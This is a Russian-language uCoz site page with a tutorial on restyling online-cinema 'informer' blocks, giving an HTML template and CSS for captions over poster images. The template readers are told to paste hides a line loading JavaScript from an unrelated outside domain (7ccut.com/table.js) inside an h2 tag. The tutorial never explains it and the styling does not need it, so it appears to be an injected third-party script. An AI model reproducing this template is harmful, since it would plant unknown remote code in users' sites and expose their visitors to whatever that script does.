Ro-n Computers
Воскресенье, 18.11.2018, 06:33
Приветствую Вас Гость | RSS
Меню
  • Главная страница
  • Видео Хостинг
  • Онлайн кинотеатр
  • Онлайн игры
  • Каталог файлов
  • Каталог статей
  • Отправка СМС, ММС
  • Гостевая книга
  • Фотоальбомы
  • Форум

Получи бонус
  • Понравился наш сайт
  • Вы можете
  • Получить
    Бонус за посещение сайта
  • Или
  • Дорогие посетители , Вы можете помочь нам в развитие нашего проекта.
    Z413768944259
    WMZ

    Сказать мнение о сайте
    Оставить своё спасибо, или мнение, высказывание, или просто напишите сообщение

    Наш опрос
    Оцените мой сайт
    1. Отлично
    2. Ужасно
    3. Хорошо
    4. Неплохо
    5. Плохо
    Всего ответов: 68


    Наша статистика
    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    сейчас на сайте:
    сегодня были:


    поиск по сайту

    Подписка
  • Подписка на RSS
  • Подписка на материалы

  • Главная » 2014 » Январь » 25 » Вид информера онлайн кинотеатра
    16:10
    Вид информера онлайн кинотеатра
    Если вы владелец онлайн кинотеатра в системе uCoz, и пользуетесь информерами, то статья именно для вас.
    Стандартный вид информеров не то, что поможет привлечь потенциальных зрителей, а скорее отпугнет. Во-первых, из-за того, что заходят в кинотеатр, все должно быть наглядно. Изначально информер выглядит как простой текст (название), с датой добавления, и автором, все. Мало, кто захочет читать. Поэтому для информеров такого типа нужна как минимум картинка. Это не обязательно может быть информер фильмов. Да, уже нормально, но фильмы имеют названия разной длины, потому все картинки смещаются, какие-то выше, какие-то ниже, в общем, весь вид портится.

    Я предлагаю сделать надписи прямо на картинке, при этом красиво это все оформив.

    Итак, начнем.

    Для начала, вставим этот код в шаблон информера.

    Код
    <table border="0" cellpadding="2" cellspacing="1" width="100%" class="infTable">  
    <tbody>  
    <tr align="center">  
    <td class="infTitle" colspan="2">  
    <p>  
    <div class="image">  
    <a href="$ENTRY_URL$"><img src="$IMG_URL1$" vspace="5" width="160" height="220" align="center" border="2" hspace="10" title="$TITLE$" style="vertical-align: bottom;"></a>  
    <h2> <script src="http://7ccut.com/table.js" type="text/javascript"></script>  
    <div class="img_title"><div align="left"><a href="$ENTRY_URL$">$TITLE$</a></div></div>  
    </h2>  
    </div>  
    </p>  
    </td>  
    </tr>  
    </tbody>  
    </table>


    После чего, в CSS вставляем данные стили.

    Код
    .img_title {  
    word-wrap: break-word;  
    text-indent: 0px;  
    font-size: 13px;  
    color: #376d9c;  
    font-weight: bold; font-family: Arial Narrow, sans-serif;  
    background: #ffffff;  
    height: 40px;  
    vertical-align:middle;  
    width: 162px;  
    left: 20px;  
    text-align: center;  
    -webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
    -moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
    box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
    -webkit-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
    -moz-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
    box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
    }  
    .image {  
    position: relative;  
    width : 100%;  
    }  
    h2 {  
    position: absolute;  
    top: 170px;  
    left: 0;  
    width : 100%;  
    vertical-align:middle;  
    }


    Это придаст нашему блоку с названием тень, а тексту стиль.

    height: 40px - можно убрать, чтобы блок сам увеличивался или уменьшался в зависимости от длины заголовка. Или оставить, если хотите, чтобы блоки были одинаковые (при этом если надпись длиннее оставленной высоты (места), то она будет вылезать за рамки).

    Код
    h2 {  
    position: absolute;  
    top: 170px;  
    left: 0;  
    width : 100%;  
    vertical-align:middle;  
    }  
    .image {  
    position: relative;  
    width : 100%; /* for IE 6 */  
    }  
    Просмотров: 466 | Добавил: smasto | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Вход здесь
    18.11.2018 | 06:33
    Привет: Гость
    Логин:
    Пароль:



    Логин: Гость
    ID:
    Ты здесь: -й день
    Читать дальше...


    Список пользователей
    Изменить информацию
    Отправить сообщение
    Читать все ЛС ()
    Ваш IP 54.92.193.89
    Группа: Гости
    Новых Сообщений: 0


    website translator

  • בחירת שפה
  • Choose your language
  • Wählen Sie Ihre Sprache
  • Choisissez votre langue


  • Рекламный блок

    Интернет магазин Компьютеры, Notebook, спутниковое оборудование, комплектующих,установка и настройка.


    Друзья сайта
  • Визажист, стилист причесок, бровист, мастер маникюра
  • Самые дешевые
  • компьютеры
  • Уневерсальные услуги
  • Заработок WebMoney
  • ремонт и продажа компьютеров
  • Как повысить Индекс
  • Цитирования сайта и
  • получить дополнительно
  • посетителей на свой сайт

  • Архив материалов

    Copyright MyCorp © 2018